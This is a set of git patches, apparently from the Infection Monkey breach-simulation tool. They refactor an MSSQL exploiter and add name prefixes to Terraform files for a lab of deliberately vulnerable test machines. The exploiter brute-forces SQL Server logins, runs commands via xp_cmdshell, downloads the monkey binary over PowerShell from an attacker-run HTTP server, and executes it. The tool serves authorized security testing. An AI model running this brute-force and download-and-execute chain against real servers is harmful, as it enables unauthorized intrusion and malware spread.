monkey/infection_monkey/exploit/tools/exceptions.py create mode 100644 monkey/infection_monkey/exploit/tools/payload_parsing_test.py diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index c26954090..fc27cc600 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,16 +1,18 @@ import logging import os +import sys from time import sleep import pymssql from common.utils.exploit_enum import ExploitType from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools.http_tools import HTTPTools -from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, get_target_monkey, \ +from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer +from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, try_get_target_monkey, \ build_monkey_commandline, get_monkey_depth from infection_monkey.model import DROPPER_ARG from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload +from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError LOG = logging.getLogger(__name__) @@ -42,114 +44,110 @@ class MSSQLExploiter(HostExploiter): def __init__(self, host): super(MSSQLExploiter, self).__init__(host) self.cursor = None + self.monkey_binary_on_host_path = None + self.monkey_server = None + self.payload_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME) def _exploit_host(self): # Brute force to get connection username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list) - if not self.cursor: - LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) - return False - - # Get monkey exe for host and it's path - src_path = get_target_monkey(self.host) - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - - # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) - if not http_path: - LOG.debug("Exploiter failed, http transfer creation failed.") - return False - LOG.info("Started http server on %s", http_path) - - dst_path = get_monkey_dest_path(http_path) - tmp_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME) - # Create dir for payload + self.create_temp_dir() + + try: + self.create_empty_payload_file() + + self.start_monkey_server() + self.upload_monkey() + self.stop_monkey_server() + + # Clear payload to pass in another command + self.create_empty_payload_file() + + self.run_monkey() + + self.remove_temp_dir() + except Exception as e: + raise ExploitingVulnerableMachineError, e.args, sys.exc_info()[2] + + return True + + def run_payload_file(self): + file_running_command = MSSQLLimitedSizePayload(self.payload_file_path) + return self.run_mssql_command(file_running_command) + + def create_temp_dir(self): dir_creation_command = MSSQLLimitedSizePayload(command="mkdir %s" % MSSQLExploiter.TMP_DIR_PATH) - if not self.try_to_run_mssql_command(dir_creation_command): - return False + self.run_mssql_command(dir_creation_command) - if not self.create_empty_payload_file(tmp_file_path): - return True + def create_empty_payload_file(self): + suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX % {'payload_file_path': self.payload_file_path} + tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix) + self.run_mssql_command(tmp_file_creation_command) - # Form download command - monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': http_path, - 'dst_path': dst_path} - # Form suffix for appending to temp payload file - suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': tmp_file_path} - prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX - monkey_download_command = MSSQLLimitedSizePayload(command=monkey_download_command, - suffix=suffix, - prefix=prefix) - if not self.try_to_run_mssql_command(monkey_download_command): - return True - self.run_file(tmp_file_path) + def run_mssql_command(self, mssql_command): + array_of_commands = mssql_command.split_into_array_of_smaller_payloads() + if not array_of_commands: + raise Exception("Couldn't execute MSSQL exploiter because payload was too long") + self.run_mssql_commands(array_of_commands) + def run_monkey(self): + monkey_launch_command = self.get_monkey_launch_command() + self.run_mssql_command(monkey_launch_command) + self.run_payload_file() + + def run_mssql_commands(self, cmds): + for cmd in cmds: + self.cursor.execute(cmd) + sleep(MSSQLExploiter.QUERY_BUFFER) + + def upload_monkey(self): + monkey_download_command = self.write_download_command_to_payload() + self.run_payload_file() self.add_executed_cmd(monkey_download_command.command) - # Clear payload to pass in another command - if not self.create_empty_payload_file(tmp_file_path): - return True + def remove_temp_dir(self): + # Remove temporary dir we stored payload at + tmp_file_removal_command = MSSQLLimitedSizePayload(command="del %s" % self.payload_file_path) + self.run_mssql_command(tmp_file_removal_command) + tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH) + self.run_mssql_command(tmp_dir_removal_command) + def start_monkey_server(self): + self.monkey_server = MonkeyHTTPServer(self.host) + self.monkey_server.start() + + def stop_monkey_server(self): + self.monkey_server.stop() + + def write_download_command_to_payload(self): + monkey_download_command = self.get_monkey_download_command() + self.run_mssql_command(monkey_download_command) + return monkey_download_command + + def get_monkey_launch_command(self): + dst_path = get_monkey_dest_path(self.monkey_server.http_path) # Form monkey's launch command monkey_args = build_monkey_commandline(self.host, get_monkey_depth() - 1, dst_path) - suffix = ">>%s" % tmp_file_path + suffix = ">>%s" % self.payload_file_path prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX - monkey_launch_command = MSSQLLimitedSizePayload(command="%s %s %s" % (dst_path, DROPPER_ARG, monkey_args), - prefix=prefix, - suffix=suffix) - if not self.try_to_run_mssql_command(monkey_launch_command): - return True - self.run_file(tmp_file_path) + return MSSQLLimitedSizePayload(command="%s %s %s" % (dst_path, DROPPER_ARG, monkey_args), + prefix=prefix, + suffix=suffix) - # Remove temporary dir we stored payload at - tmp_file_removal_command = MSSQLLimitedSizePayload(command="del %s" % tmp_file_path) - self.try_to_run_mssql_command(tmp_file_removal_command) - tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH) - self.try_to_run_mssql_command(tmp_dir_removal_command) - - return True - - def run_file(self, file_path): - file_running_command = MSSQLLimitedSizePayload(file_path) - return self.try_to_run_mssql_command(file_running_command) - - def create_empty_payload_file(self, file_path): - # Create payload file - suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX % {'payload_file_path': file_path} - tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix) - return self.try_to_run_mssql_command(tmp_file_creation_command) - - def try_to_run_mssql_command(self, mssql_command): - array_of_commands = mssql_command.split_into_array_of_smaller_payloads() - if not array_of_commands: - LOG.error("Couldn't execute MSSQL because payload was too long") - return False - return MSSQLExploiter.execute_commands(self.cursor, array_of_commands) - - @staticmethod - def execute_commands(cursor, cmds): - """ - Executes commands on MSSQL server - :param cursor: MSSQL connection - :param cmds: list of commands in MSSQL syntax. - :return: True if successfully executed, false otherwise. - """ - try: - # Running the cmd on remote host - for cmd in cmds: - cursor.execute(cmd) - sleep(MSSQLExploiter.QUERY_BUFFER) - except Exception as e: - LOG.error('Error sending the payload using xp_cmdshell to host: %s' % e) - return False - return True + def get_monkey_download_command(self): + dst_path = get_monkey_dest_path(self.monkey_server.http_path) + monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': self.monkey_server.http_path, + 'dst_path': dst_path} + prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX + suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': self.payload_file_path} + return MSSQLLimitedSizePayload(command=monkey_download_command, + suffix=suffix, + prefix=prefix) def brute_force(self, host, port, users_passwords_pairs_list): """ @@ -185,7 +183,7 @@ class MSSQLExploiter(HostExploiter): LOG.warning('No user/password combo was able to connect to host: {0}:{1}, ' 'aborting brute force'.format(host, port)) - return None + raise Exception("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) class MSSQLLimitedSizePayload(LimitedSizePayload): diff --git a/monkey/infection_monkey/exploit/tools/exceptions.py b/monkey/infection_monkey/exploit/tools/exceptions.py new file mode 100644 index 000000000..eabe8d9d7 --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/exceptions.py @@ -0,0 +1,5 @@ + + +class ExploitingVulnerableMachineError(Exception): + """ Raise when exploiter failed, but machine is vulnerable""" + pass diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index bc74128e2..91a25c270 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -47,6 +47,13 @@ def get_interface_to_target(dst): return ret[1] +def try_get_target_monkey(host): + src_path = get_target_monkey(host) + if not src_path: + raise Exception("Can't find suitable monkey executable for host %r", host) + return src_path + + def get_target_monkey(host): from infection_monkey.control import ControlClient import platform diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index f23ba8276..0de47b155 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -7,8 +7,8 @@ from threading import Lock from infection_monkey.network.firewall import app as firewall from infection_monkey.network.info import get_free_tcp_port from infection_monkey.transport import HTTPServer, LockedHTTPServer -from infection_monkey.exploit.tools.helpers import get_interface_to_target - +from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target +from infection_monkey.model import DOWNLOAD_TIMEOUT __author__ = 'itamar' @@ -16,6 +16,7 @@ LOG = logging.getLogger(__name__) class HTTPTools(object): + @staticmethod def create_transfer(host, src_path, local_ip=None, local_port=None): if not local_port: @@ -33,6 +34,14 @@ class HTTPTools(object): return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd + @staticmethod + def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None): + http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, local_ip, local_port) + if not http_path: + raise Exception("Http transfer creation failed.") + LOG.info("Started http server on %s", http_path) + return http_path, http_thread + @staticmethod def create_locked_transfer(host, src_path, local_ip=None, local_port=None): """ @@ -60,3 +69,22 @@ class HTTPTools(object): httpd.start() lock.acquire() return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd + + +class MonkeyHTTPServer(HTTPTools): + def __init__(self, host): + super(MonkeyHTTPServer, self).__init__() + self.http_path = None + self.http_thread = None + self.host = host + + def start(self): + # Get monkey exe for host and it's path + src_path = try_get_target_monkey(self.host) + self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer(self.host, src_path) + + def stop(self): + if not self.http_path or not self.http_thread: + raise Exception("Can't stop http server that wasn't started!") + self.http_thread.join(DOWNLOAD_TIMEOUT) + self.http_thread.stop() diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py index a02071333..31632b045 100644 --- a/monkey/infection_monkey/exploit/tools/payload_parsing.py +++ b/monkey/infection_monkey/exploit/tools/payload_parsing.py @@ -10,18 +10,13 @@ class Payload(object): """ def __init__(self, command, prefix="", suffix=""): - """ - :param command: command - :param prefix: commands prefix - :param suffix: commands suffix - """ self.command = command self.prefix = prefix self.suffix = suffix def get_payload(self, command=""): """ - Returns prefixed and suffixed command (full payload) + Returns prefixed and suffixed command (payload) :param command: Command to suffix/prefix. If no command is passed than objects' property is used :return: prefixed and suffixed command (full payload) """ @@ -50,9 +45,9 @@ class LimitedSizePayload(Payload): def split_into_array_of_smaller_payloads(self): if self.is_suffix_and_prefix_too_long(): - LOG.error("Can't split command into smaller sub-commands because commands' prefix and suffix already " - "exceeds required length of command.") - return False + raise Exception("Can't split command into smaller sub-commands because commands' prefix and suffix already " + "exceeds required length of command.") + elif self.command == "": return [self.prefix+self.suffix] wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length()) @@ -62,7 +57,7 @@ class LimitedSizePayload(Payload): return commands def get_max_sub_payload_length(self): - return self.max_length - len(self.prefix) - len(self.suffix) - 1 + return self.max_length - len(self.prefix) - len(self.suffix) def payload_is_too_long(self, command): - return len(command) > self.max_length + return len(command) >= self.max_length diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing_test.py b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py new file mode 100644 index 000000000..af682dbff --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py @@ -0,0 +1,32 @@ +from unittest import TestCase +from payload_parsing import Payload, LimitedSizePayload + + +class TestPayload(TestCase): + def test_get_payload(self): + test_str1 = "abc" + test_str2 = "atc" + payload = Payload(command="b", prefix="a", suffix="c") + assert payload.get_payload() == test_str1 and payload.get_payload("t") == test_str2 + + def test_is_suffix_and_prefix_too_long(self): + pld_fail = LimitedSizePayload("b", 2, "a", "c") + pld_success = LimitedSizePayload("b", 3, "a", "c") + assert pld_fail.is_suffix_and_prefix_too_long() and not pld_success.is_suffix_and_prefix_too_long() + + def test_split_into_array_of_smaller_payloads(self): + test_str1 = "123456789" + pld1 = LimitedSizePayload(test_str1, max_length=16, prefix="prefix", suffix="suffix") + array1 = pld1.split_into_array_of_smaller_payloads() + test1 = bool(array1[0] == "prefix1234suffix" and + array1[1] == "prefix5678suffix" and + array1[2] == "prefix9suffix") + + test_str2 = "12345678" + pld2 = LimitedSizePayload(test_str2, max_length=16, prefix="prefix", suffix="suffix") + array2 = pld2.split_into_array_of_smaller_payloads() + test2 = bool(array2[0] == "prefix1234suffix" and + array2[1] == "prefix5678suffix" and len(array2) == 2) + + assert test1 and test2 + diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 692e278fb..d3f046f56 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -26,6 +26,7 @@ from infection_monkey.windows_upgrader import WindowsUpgrader from infection_monkey.post_breach.post_breach_handler import PostBreach from common.utils.attack_utils import ScanStatus from infection_monkey.exploit.tools.helpers import get_interface_to_target +from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError __author__ = 'itamar' @@ -300,7 +301,11 @@ class InfectionMonkey(object): return True else: LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) - + except ExploitingVulnerableMachineError as exc: + LOG.error("Exception while attacking %s using %s: %s", + machine, exploiter.__class__.__name__, exc) + self.successfully_exploited(machine, exploiter) + return True except Exception as exc: LOG.exception("Exception while attacking %s using %s: %s", machine, exploiter.__class__.__name__, exc) From 6c49cabbc2c7515a41558d976c00aa6825df6263 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 3 Sep 2019 16:27:11 +0300 Subject: [PATCH 213/276] Changed string formatting to latest syntax --- monkey/infection_monkey/exploit/mssqlexec.py | 24 ++++++++++---------- 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index fc27cc600..132103287 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -36,10 +36,10 @@ class MSSQLExploiter(HostExploiter): XP_CMDSHELL_COMMAND_START = "xp_cmdshell \"" XP_CMDSHELL_COMMAND_END = "\"" EXPLOIT_COMMAND_PREFIX = ">%(payload_file_path)s" - CREATE_COMMAND_SUFFIX = ">%(payload_file_path)s" + EXPLOIT_COMMAND_SUFFIX = ">>{payload_file_path}" + CREATE_COMMAND_SUFFIX = ">{payload_file_path}" MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \ - "DownloadFile(^\'%(http_path)s^\' , ^\'%(dst_path)s^\')" + "DownloadFile(^\'{http_path}^\' , ^\'{dst_path}^\')" def __init__(self, host): super(MSSQLExploiter, self).__init__(host) @@ -79,11 +79,11 @@ class MSSQLExploiter(HostExploiter): return self.run_mssql_command(file_running_command) def create_temp_dir(self): - dir_creation_command = MSSQLLimitedSizePayload(command="mkdir %s" % MSSQLExploiter.TMP_DIR_PATH) + dir_creation_command = MSSQLLimitedSizePayload(command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH)) self.run_mssql_command(dir_creation_command) def create_empty_payload_file(self): - suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX % {'payload_file_path': self.payload_file_path} + suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path) tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix) self.run_mssql_command(tmp_file_creation_command) @@ -110,9 +110,9 @@ class MSSQLExploiter(HostExploiter): def remove_temp_dir(self): # Remove temporary dir we stored payload at - tmp_file_removal_command = MSSQLLimitedSizePayload(command="del %s" % self.payload_file_path) + tmp_file_removal_command = MSSQLLimitedSizePayload(command="del {}".format(self.payload_file_path)) self.run_mssql_command(tmp_file_removal_command) - tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH) + tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH)) self.run_mssql_command(tmp_dir_removal_command) def start_monkey_server(self): @@ -133,18 +133,18 @@ class MSSQLExploiter(HostExploiter): monkey_args = build_monkey_commandline(self.host, get_monkey_depth() - 1, dst_path) - suffix = ">>%s" % self.payload_file_path + suffix = ">>{}".format(self.payload_file_path) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX - return MSSQLLimitedSizePayload(command="%s %s %s" % (dst_path, DROPPER_ARG, monkey_args), + return MSSQLLimitedSizePayload(command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args), prefix=prefix, suffix=suffix) def get_monkey_download_command(self): dst_path = get_monkey_dest_path(self.monkey_server.http_path) - monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': self.monkey_server.http_path, - 'dst_path': dst_path} + monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.\ + format(http_path=self.monkey_server.http_path, dst_path=dst_path) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX - suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': self.payload_file_path} + suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path) return MSSQLLimitedSizePayload(command=monkey_download_command, suffix=suffix, prefix=prefix) From ac702ffc27d9feb2d1373ae4c678d6e2c17e1145 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 3 Sep 2019 16:29:08 +0300 Subject: [PATCH 214/276] Removed useless import in mssqlexec --- monkey/infection_monkey/exploit/mssqlexec.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 132103287..9e8fdc9fb 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -8,8 +8,7 @@ import pymssql from common.utils.exploit_enum import ExploitType from infection_monkey.exploit import HostExploiter from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer -from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, try_get_target_monkey, \ - build_monkey_commandline, get_monkey_depth +from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, build_monkey_commandline, get_monkey_depth from infection_monkey.model import DROPPER_ARG from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError From c7798879554c3493194d77702e7be79b405009ad Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 3 Sep 2019 17:22:07 +0300 Subject: [PATCH 215/276] Added prefixes to all resources --- envs/monkey_zoo/terraform/config.tf | 3 +- envs/monkey_zoo/terraform/firewalls.tf | 12 ++--- envs/monkey_zoo/terraform/monkey_zoo.tf | 64 ++++++++++++------------- 3 files changed, 40 insertions(+), 39 deletions(-) diff --git a/envs/monkey_zoo/terraform/config.tf b/envs/monkey_zoo/terraform/config.tf index c6108865a..4f9106aae 100644 --- a/envs/monkey_zoo/terraform/config.tf +++ b/envs/monkey_zoo/terraform/config.tf @@ -5,6 +5,7 @@ provider "google" { credentials = "${file("testproject-000000-0c0b000b00c0.json")}" } locals { + resource_prefix = "" service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com" monkeyzoo_project="guardicore-22050661" -} \ No newline at end of file +} diff --git a/envs/monkey_zoo/terraform/firewalls.tf b/envs/monkey_zoo/terraform/firewalls.tf index df33ed4d4..cafb0181d 100644 --- a/envs/monkey_zoo/terraform/firewalls.tf +++ b/envs/monkey_zoo/terraform/firewalls.tf @@ -1,5 +1,5 @@ resource "google_compute_firewall" "islands-in" { - name = "islands-in" + name = "${local.resource_prefix}islands-in" network = "${google_compute_network.monkeyzoo.name}" allow { @@ -13,7 +13,7 @@ resource "google_compute_firewall" "islands-in" { } resource "google_compute_firewall" "islands-out" { - name = "islands-out" + name = "${local.resource_prefix}islands-out" network = "${google_compute_network.monkeyzoo.name}" allow { @@ -26,7 +26,7 @@ resource "google_compute_firewall" "islands-out" { } resource "google_compute_firewall" "monkeyzoo-in" { - name = "monkeyzoo-in" + name = "${local.resource_prefix}monkeyzoo-in" network = "${google_compute_network.monkeyzoo.name}" allow { @@ -39,7 +39,7 @@ resource "google_compute_firewall" "monkeyzoo-in" { } resource "google_compute_firewall" "monkeyzoo-out" { - name = "monkeyzoo-out" + name = "${local.resource_prefix}monkeyzoo-out" network = "${google_compute_network.monkeyzoo.name}" allow { @@ -52,7 +52,7 @@ resource "google_compute_firewall" "monkeyzoo-out" { } resource "google_compute_firewall" "tunneling-in" { - name = "tunneling-in" + name = "${local.resource_prefix}tunneling-in" network = "${google_compute_network.tunneling.name}" allow { @@ -64,7 +64,7 @@ resource "google_compute_firewall" "tunneling-in" { } resource "google_compute_firewall" "tunneling-out" { - name = "tunneling-out" + name = "${local.resource_prefix}tunneling-out" network = "${google_compute_network.tunneling.name}" allow { diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index dccbf7fa8..40792672c 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -6,40 +6,40 @@ locals { } resource "google_compute_network" "monkeyzoo" { - name = "monkeyzoo" + name = "${local.resource_prefix}monkeyzoo" auto_create_subnetworks = false } resource "google_compute_network" "tunneling" { - name = "tunneling" + name = "${local.resource_prefix}tunneling" auto_create_subnetworks = false } resource "google_compute_network" "tunneling2" { - name = "tunneling2" + name = "${local.resource_prefix}tunneling2" auto_create_subnetworks = false } resource "google_compute_subnetwork" "monkeyzoo-main" { - name = "monkeyzoo-main" + name = "${local.resource_prefix}monkeyzoo-main" ip_cidr_range = "10.2.2.0/24" network = "${google_compute_network.monkeyzoo.self_link}" } resource "google_compute_subnetwork" "tunneling-main" { - name = "tunneling-main" + name = "${local.resource_prefix}tunneling-main" ip_cidr_range = "10.2.1.0/28" network = "${google_compute_network.tunneling.self_link}" } resource "google_compute_subnetwork" "tunneling2-main" { - name = "tunneling2-main" + name = "${local.resource_prefix}tunneling2-main" ip_cidr_range = "10.2.0.0/27" network = "${google_compute_network.tunneling2.self_link}" } resource "google_compute_instance_from_template" "hadoop-2" { - name = "hadoop-2" + name = "${local.resource_prefix}hadoop-2" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -56,7 +56,7 @@ resource "google_compute_instance_from_template" "hadoop-2" { } resource "google_compute_instance_from_template" "hadoop-3" { - name = "hadoop-3" + name = "${local.resource_prefix}hadoop-3" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -71,7 +71,7 @@ resource "google_compute_instance_from_template" "hadoop-3" { } resource "google_compute_instance_from_template" "elastic-4" { - name = "elastic-4" + name = "${local.resource_prefix}elastic-4" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -86,7 +86,7 @@ resource "google_compute_instance_from_template" "elastic-4" { } resource "google_compute_instance_from_template" "elastic-5" { - name = "elastic-5" + name = "${local.resource_prefix}elastic-5" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -102,7 +102,7 @@ resource "google_compute_instance_from_template" "elastic-5" { /* Couldn't find ubuntu packages for required samba version (too old). resource "google_compute_instance_from_template" "sambacry-6" { - name = "sambacry-6" + name = "${local.resource_prefix}sambacry-6" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -118,7 +118,7 @@ resource "google_compute_instance_from_template" "sambacry-6" { /* We need custom 32 bit Ubuntu machine for this (there are no 32 bit ubuntu machines in GCP). resource "google_compute_instance_from_template" "sambacry-7" { - name = "sambacry-7" + name = "${local.resource_prefix}sambacry-7" source_instance_template = "${local.default_ubuntu}" boot_disk { initialize_params { @@ -134,7 +134,7 @@ resource "google_compute_instance_from_template" "sambacry-7" { */ resource "google_compute_instance_from_template" "shellshock-8" { - name = "shellshock-8" + name = "${local.resource_prefix}shellshock-8" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -149,7 +149,7 @@ resource "google_compute_instance_from_template" "shellshock-8" { } resource "google_compute_instance_from_template" "tunneling-9" { - name = "tunneling-9" + name = "${local.resource_prefix}tunneling-9" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -168,7 +168,7 @@ resource "google_compute_instance_from_template" "tunneling-9" { } resource "google_compute_instance_from_template" "tunneling-10" { - name = "tunneling-10" + name = "${local.resource_prefix}tunneling-10" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -187,7 +187,7 @@ resource "google_compute_instance_from_template" "tunneling-10" { } resource "google_compute_instance_from_template" "tunneling-11" { - name = "tunneling-11" + name = "${local.resource_prefix}tunneling-11" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -202,7 +202,7 @@ resource "google_compute_instance_from_template" "tunneling-11" { } resource "google_compute_instance_from_template" "sshkeys-11" { - name = "sshkeys-11" + name = "${local.resource_prefix}sshkeys-11" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -217,7 +217,7 @@ resource "google_compute_instance_from_template" "sshkeys-11" { } resource "google_compute_instance_from_template" "sshkeys-12" { - name = "sshkeys-12" + name = "${local.resource_prefix}sshkeys-12" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -233,7 +233,7 @@ resource "google_compute_instance_from_template" "sshkeys-12" { /* resource "google_compute_instance_from_template" "rdpgrinder-13" { - name = "rdpgrinder-13" + name = "${local.resource_prefix}rdpgrinder-13" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -248,7 +248,7 @@ resource "google_compute_instance_from_template" "rdpgrinder-13" { */ resource "google_compute_instance_from_template" "mimikatz-14" { - name = "mimikatz-14" + name = "${local.resource_prefix}mimikatz-14" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -263,7 +263,7 @@ resource "google_compute_instance_from_template" "mimikatz-14" { } resource "google_compute_instance_from_template" "mimikatz-15" { - name = "mimikatz-15" + name = "${local.resource_prefix}mimikatz-15" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -278,7 +278,7 @@ resource "google_compute_instance_from_template" "mimikatz-15" { } resource "google_compute_instance_from_template" "mssql-16" { - name = "mssql-16" + name = "${local.resource_prefix}mssql-16" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -294,7 +294,7 @@ resource "google_compute_instance_from_template" "mssql-16" { /* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed) resource "google_compute_instance_from_template" "upgrader-17" { - name = "upgrader-17" + name = "${local.resource_prefix}upgrader-17" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -313,7 +313,7 @@ resource "google_compute_instance_from_template" "upgrader-17" { */ resource "google_compute_instance_from_template" "weblogic-18" { - name = "weblogic-18" + name = "${local.resource_prefix}weblogic-18" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -328,7 +328,7 @@ resource "google_compute_instance_from_template" "weblogic-18" { } resource "google_compute_instance_from_template" "weblogic-19" { - name = "weblogic-19" + name = "${local.resource_prefix}weblogic-19" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -343,7 +343,7 @@ resource "google_compute_instance_from_template" "weblogic-19" { } resource "google_compute_instance_from_template" "smb-20" { - name = "smb-20" + name = "${local.resource_prefix}smb-20" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -358,7 +358,7 @@ resource "google_compute_instance_from_template" "smb-20" { } resource "google_compute_instance_from_template" "scan-21" { - name = "scan-21" + name = "${local.resource_prefix}scan-21" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -373,7 +373,7 @@ resource "google_compute_instance_from_template" "scan-21" { } resource "google_compute_instance_from_template" "scan-22" { - name = "scan-22" + name = "${local.resource_prefix}scan-22" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -388,7 +388,7 @@ resource "google_compute_instance_from_template" "scan-22" { } resource "google_compute_instance_from_template" "struts2-23" { - name = "struts2-23" + name = "${local.resource_prefix}struts2-23" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -403,7 +403,7 @@ resource "google_compute_instance_from_template" "struts2-23" { } resource "google_compute_instance_from_template" "struts2-24" { - name = "struts2-24" + name = "${local.resource_prefix}struts2-24" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -418,7 +418,7 @@ resource "google_compute_instance_from_template" "struts2-24" { } resource "google_compute_instance_from_template" "island-linux-250" { - name = "island-linux-250" + name = 